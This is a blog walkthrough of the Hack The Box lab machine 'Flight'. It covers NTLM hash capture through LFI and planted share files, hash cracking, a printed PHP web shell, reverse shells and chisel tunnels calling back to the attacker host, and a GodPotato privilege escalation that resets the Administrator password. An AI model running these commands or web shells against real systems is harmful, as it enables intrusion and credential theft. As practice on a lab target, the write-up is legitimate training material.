# Flight

Hack-The-Box 27 / 72
7 min read
HTB Active Directory Microsoft's directory service for managing users, computers, and permissions across a Windows domain. Windows RCE Remote Code Execution — the ability to run arbitrary commands on a target system remotely. Sudo Linux command for running as another user — misconfigured sudo rules are a common privilege escalation path. Nmap A network scanner used to enumerate open ports, services, and versions on a target. DNS The Domain Name System — translates hostnames to IPs; often leaks subdomains and internal naming during recon. PHP NTLM Windows' legacy authentication protocol — vulnerable to relay and pass-the-hash attacks. SMB Server Message Block — Windows file-sharing protocol, frequently abused for enumeration and lateral movement. Password Cracking Recovering a plaintext password from a captured hash via brute-force or wordlist attacks. LDAP Lightweight Directory Access Protocol — used to query Active Directory; often vulnerable to injection or anonymous binds. LFI Local File Inclusion — a web vulnerability letting an attacker read arbitrary files on the server. Git
Table of Contents
Challenge Mode
Hide the solution and attempt the box yourself first
  • Machine Name: Flight
  • OS Type: Windows
  • Difficulty: Hard

Port Scanning - Service & Version Enumeration

Terminal window
# Nmap 7.95 scan initiated Mon Apr 21 09:53:40 2025 as: /usr/lib/nmap/nmap -sVC -p- --open -oN initial/nmap.out -vv 10.10.11.187
Nmap scan report for 10.10.11.187
Host is up, received echo-reply ttl 127 (0.28s latency).
Scanned at 2025-04-21 09:53:41 IST for 752s
Not shown: 65517 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE REASON VERSION
53/tcp open domain syn-ack ttl 127 Simple DNS Plus
80/tcp open http syn-ack ttl 127 Apache httpd 2.4.52 ((Win64) OpenSSL/1.1.1m PHP/8.1.1)
|_http-title: g0 Aviation
| http-methods:
| Supported Methods: OPTIONS HEAD GET POST TRACE
|_ Potentially risky methods: TRACE
|_http-server-header: Apache/2.4.52 (Win64) OpenSSL/1.1.1m PHP/8.1.1
88/tcp open kerberos-sec syn-ack ttl 127 Microsoft Windows Kerberos (server time: 2025-04-21 11:34:34Z)
135/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
139/tcp open netbios-ssn syn-ack ttl 127 Microsoft Windows netbios-ssn
389/tcp open ldap syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: flight.htb0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds? syn-ack ttl 127
464/tcp open kpasswd5? syn-ack ttl 127
593/tcp open ncacn_http syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped syn-ack ttl 127
3268/tcp open ldap syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: flight.htb0., Site: Default-First-Site-Name)
3269/tcp open tcpwrapped syn-ack ttl 127
9389/tcp open mc-nmf syn-ack ttl 127 .NET Message Framing
49667/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
49673/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
49674/tcp open ncacn_http syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
49697/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
49722/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
Service Info: Host: G0; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| p2p-conficker:
| Checking for Conficker.C or higher...
| Check 1 (port 32072/tcp): CLEAN (Timeout)
| Check 2 (port 59198/tcp): CLEAN (Timeout)
| Check 3 (port 44855/udp): CLEAN (Timeout)
| Check 4 (port 47973/udp): CLEAN (Timeout)
|_ 0/4 checks are positive: Host is CLEAN or ports are blocked
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
|_clock-skew: 6h59m59s
| smb2-time:
| date: 2025-04-21T11:35:27
|_ start_date: N/A
Read data files from: /usr/share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon Apr 21 10:06:13 2025 -- 1 IP address (1 host up) scanned in 753.06 seconds

Enumeration

Port 80/HTTP

i’ll start my enumeration from port http which is running a website of company

image.png

let’s run the whatweb to check web technologoies

image.png

Port 139,445/SMB

let’s check the smb for null session

Terminal window
smbclient -L //10.10.11.187
image.png

let’s check enum4linux, nothing from enum4linux

Port 135/MSRPC

Terminal window
rpcclient -U "" -N 10.10.11.187
image.png

Nothing interesting yet, i’m moving to web enumeration and let’s enumerate for any subdomains for the website i’ll be using wfuzz tool for that

Terminal window
wfuzz -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u http://flight.htb -H "Host: FUZZ.flight.htb" --hh 7069
image.png

yes that’s it we got the school subdomain let’s quickly add this to our /etc/hosts file

Note: Before starting wfuzz or any other subdomain enumerations add flight.htb to /etc/hosts fille

let’s visit the school.flight.htb

image.png image.png

if we look at the url we can see that the view parameter is calling file, let’s try LFI maybe

image.png

Oh there’s some security in place, can we include remote files?

image.png

on python webserver on kali

image.png

let’s check if we can execute php code i’ll use below simple php code

Terminal window
<?php
phpinfo();
?>

save it as test.php and then access it.

image.png

ohh so it not included, let’s check the source to check what’s going on

image.png

ok so it just included it’s contents instead of executing it

what now!, we are working with windows box, let’s try smb to get NTLM hash for the user using responder

Terminal window
sudo responder -I tun0 -v

http://school.flight.htb/index.php?view=\\10.10.14.17\test

image.png

possibly it beacuse of we are using \ instead of / let’s try /

image.png

and we got the hash

image.png

let’s crack it using hashcat

Terminal window
hashcat -m 5600 apache.ntlmv2 /usr/share/wordlists/rockyou.txt
image.png

great, let’s use this password to enumerate user’s from netexec --users option

Terminal window
netexec smb 10.10.11.187 -u svc_apache -p 'S@Ss!K@*t13' --users
image.png

users.txt

Terminal window
Administrator
Guest
krbtgt
S.Moon
R.Cold
G.Lors
L.Kein
M.Gold
C.Bum
W.Walker
I.Francis
D.Truff
V.Stevens
svc_apache
O.Possum

let’s check password reuse

Terminal window
netexec smb 10.10.11.187 -u users.txt -p password.txt --continue-on-success
image.png

let’s check if user has any permissions for shares

Terminal window
netexec smb 10.10.11.187 -u S.Moon -p 'S@Ss!K@*t13' --shares
image.png

we can see that we have read and write permissions over Shared folder let’s keep this thing in our back pocket and move to another thing.

Shares Summary:

NETLOGON: this share is empty

Shared: This share is read and write access

Users: nothing useful in this share

Web: this share contains the directories of flight.htb and school.flight.htb website, but nothing interesting found, we have only READ access to this share

we didn’t find anything useful, so let’s move on with shared folder as we have write permissions to this share, and the share name is Shared, we assume that it might be used as the shared folder between users

i’ve tried to upload test.txt and it successfully uploaded, but when i tried to upload url file to steal NTLM hash to go Access Denied Possibly because of Windows consider url files as the Malicious, we need to check for the different types

we can use https://github.com/Greenwolf/ntlm_theft to create many files and then we can upload those files any of one file accessed by victim and we’ll get NTLM hash of user

clone the repository using git clone

Terminal window
git clone https://github.com/Greenwolf/ntlm_theft

run the python script to generate files

Terminal window
python3 ntlm_theft.py -g all -s 10.10.14.17 -f _0xh3x

https://github.com/Greenwolf/ntlm_theft

image.png

connect with SMB share

Terminal window
smbclient //10.10.11.187/Shared -U flight.htb/s.moon%'S@Ss!K@*t13'

start responder

Terminal window
sudo responder -I tun0 -v

run below command to upload all files

Terminal window
smb: \> prompt
smb: \> mput *
image.png

and check the responder

image.png

let’s use hashcat to crack the hash

Terminal window
hashcat -m 5600 cbum.ntlmv2 /usr/share/wordlists/rockyou.txt
image.png

great let’s check the what shares we have access to as C.Bum

Terminal window
netexec smb 10.10.11.187 -u C.Bum -p 'Tikkycoll_431012284' --shares
image.png

oh great we have a write access to Web share let’s upload the php reverse shell and get the shell

Shell.php

<html>
<body>
<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
<input type="TEXT" name="cmd" autofocus id="cmd" size="80">
<input type="SUBMIT" value="Execute">
</form>
<pre>
<?php
if(isset($_GET['cmd']))
{
system($_GET['cmd'] . ' 2>&1');
}
?>
</pre>
</body>
</html>

upload the shell.php in flight.htb and get RCE to the system

connect to web share as C.Bum using smbclient

smbclient //10.10.11.187/Web -U flight.htb/C.Bum%'Tikkycoll_431012284'

upload the shell.php using put shell.php

image.png

access the web shell at : http://flight.htb/shell.php

image.png

let’s transfer the nc.exe and get the sweet shell, execute commands faster and as shell.php will automatically deleted after 3-4 minutes

image.png

let’s start enumerating the system, we found interesting C:\inetpub\development

image.png

let’s check the permissions to this folder using icacls .

image.png

we found that there’s another user on the system as there’s directory in users folder C:\Users\C.Bum

let’s check the group membership of the user using net user C.Bum

image.png

the user is member of WebDevs group and the development directory should be only accessible by developers

but we don’t know on which port it is running

let’s check it by netstat -P TCP -ano

image.png

the port 8000 is looks interesting let’s check the access by curl it, site is accessible by curl http://127.0.0.1:8000 /development/

unfortunately directory is not writable by us 😟

image.png

now as we have the Credentials of the C.Bum user let’s use the runas binary from windows but it does have some limitations we can use it’s alternative https://github.com/antonioCoco/RunasCs/releases

and execute it as C.Bum user to get reverse shell on kali on port 443

RunasCs.exe C.Bum Tikkycoll_431012284 -r 10.10.14.17:443
image.png

check reverse shell listener on port 443

image.png

let’s check if we now have write access to development folder

image.png

let’s check by creating php file named test.php to check if it’s executing the php code

image.png

it shows the error that this mime type ‘PHP’ is not allowed, let’s try to upload aspx reverse shell

also if we check the HTTP Header of the web URL using curl

image.png

it shows ASP.NET so we need to use the aspx shell which we’ve already uploaded let’s forward the port and access the site from our kali machine

start chisel server on kali using

chisel server --reverse --port 5000
image.png

and then connect with chisel client from target machine

chisel.exe client 10.10.14.17:5000 R:8001:127.0.0.1:8000
image.png

now you can access development site on http://127.0.0.1:8001 and access cmd.aspx

image.png

nice we got the command execution as defaultapppool

run nc.exe from \users\public\nc.exe

image.png

let’s check the what privileges do we have using whoami /priv

image.png

let’s use the GodPotato to abuse the SeImpersonatePrivilege

god.exe -cmd "net user administrator hacker@123"
image.png

now the administrator’s password let’s use the impacket-psexec to get shell as administrator

impacket-psexec flight.htb/Administrator:'hacker@123'@10.10.11.187
image.png
Next: Help
My avatar

Thanks for reading my blog post! Feel free to check out my other posts or contact me via the social links in the footer.


Related Writeups

# Blackfield

Hack-The-Box 10 / 72
6 min read

Windows Hard machine - Blackfield.

HTB Active Directory Microsoft's directory service for managing users, computers, and permissions across a Windows domain. Windows Sudo Linux command for running as another user — misconfigured sudo rules are a common privilege escalation path. Nmap A network scanner used to enumerate open ports, services, and versions on a target. DNS The Domain Name System — translates hostnames to IPs; often leaks subdomains and internal naming during recon. PHP NTLM Windows' legacy authentication protocol — vulnerable to relay and pass-the-hash attacks. WinRM Windows Remote Management — used for remote PowerShell access, often the lateral-movement endpoint on AD boxes. SMB Server Message Block — Windows file-sharing protocol, frequently abused for enumeration and lateral movement. Password Cracking Recovering a plaintext password from a captured hash via brute-force or wordlist attacks. BloodHound A tool that maps Active Directory trust relationships as a graph to reveal hidden attack paths to Domain Admin. LDAP Lightweight Directory Access Protocol — used to query Active Directory; often vulnerable to injection or anonymous binds. AS-REP Roasting Requesting authentication data for accounts without Kerberos pre-auth, then cracking it offline to recover the password. Password Spraying Trying one common password against many usernames to avoid account lockouts.

# Haze

Hack-The-Box 30 / 72
15 min read

Windows Hard machine - Haze.

HTB Active Directory Microsoft's directory service for managing users, computers, and permissions across a Windows domain. Windows Sudo Linux command for running as another user — misconfigured sudo rules are a common privilege escalation path. Nmap A network scanner used to enumerate open ports, services, and versions on a target. CVE A publicly catalogued, known vulnerability with a unique identifier (Common Vulnerabilities and Exposures). DNS The Domain Name System — translates hostnames to IPs; often leaks subdomains and internal naming during recon. PHP NTLM Windows' legacy authentication protocol — vulnerable to relay and pass-the-hash attacks. WinRM Windows Remote Management — used for remote PowerShell access, often the lateral-movement endpoint on AD boxes. SMB Server Message Block — Windows file-sharing protocol, frequently abused for enumeration and lateral movement. BloodHound A tool that maps Active Directory trust relationships as a graph to reveal hidden attack paths to Domain Admin. LDAP Lightweight Directory Access Protocol — used to query Active Directory; often vulnerable to injection or anonymous binds. LFI Local File Inclusion — a web vulnerability letting an attacker read arbitrary files on the server.

# Certified

Hack-The-Box 16 / 72
10 min read

Windows Medium machine - Certified.

HTB Active Directory Microsoft's directory service for managing users, computers, and permissions across a Windows domain. Windows Sudo Linux command for running as another user — misconfigured sudo rules are a common privilege escalation path. Nmap A network scanner used to enumerate open ports, services, and versions on a target. DNS The Domain Name System — translates hostnames to IPs; often leaks subdomains and internal naming during recon. NTLM Windows' legacy authentication protocol — vulnerable to relay and pass-the-hash attacks. WinRM Windows Remote Management — used for remote PowerShell access, often the lateral-movement endpoint on AD boxes. SMB Server Message Block — Windows file-sharing protocol, frequently abused for enumeration and lateral movement. Password Cracking Recovering a plaintext password from a captured hash via brute-force or wordlist attacks. Kerberoasting Requesting service tickets for accounts with an SPN, then cracking them offline to recover the service account's password. BloodHound A tool that maps Active Directory trust relationships as a graph to reveal hidden attack paths to Domain Admin. LDAP Lightweight Directory Access Protocol — used to query Active Directory; often vulnerable to injection or anonymous binds. AS-REP Roasting Requesting authentication data for accounts without Kerberos pre-auth, then cracking it offline to recover the password. Git

# TheFrizz

Hack-The-Box 67 / 72
11 min read

Windows Easy machine - TheFrizz.

HTB Active Directory Microsoft's directory service for managing users, computers, and permissions across a Windows domain. Windows RCE Remote Code Execution — the ability to run arbitrary commands on a target system remotely. Sudo Linux command for running as another user — misconfigured sudo rules are a common privilege escalation path. SSH Secure Shell — encrypted remote login, targeted via key theft, brute force, or misconfigured access. Nmap A network scanner used to enumerate open ports, services, and versions on a target. CVE A publicly catalogued, known vulnerability with a unique identifier (Common Vulnerabilities and Exposures). DNS The Domain Name System — translates hostnames to IPs; often leaks subdomains and internal naming during recon. PHP GPO Group Policy Object — a Windows domain-wide configuration mechanism, abusable for code execution across all machines. SMB Server Message Block — Windows file-sharing protocol, frequently abused for enumeration and lateral movement. BloodHound A tool that maps Active Directory trust relationships as a graph to reveal hidden attack paths to Domain Admin. LDAP Lightweight Directory Access Protocol — used to query Active Directory; often vulnerable to injection or anonymous binds. Password Spraying Trying one common password against many usernames to avoid account lockouts. LFI Local File Inclusion — a web vulnerability letting an attacker read arbitrary files on the server. MySQL

Comments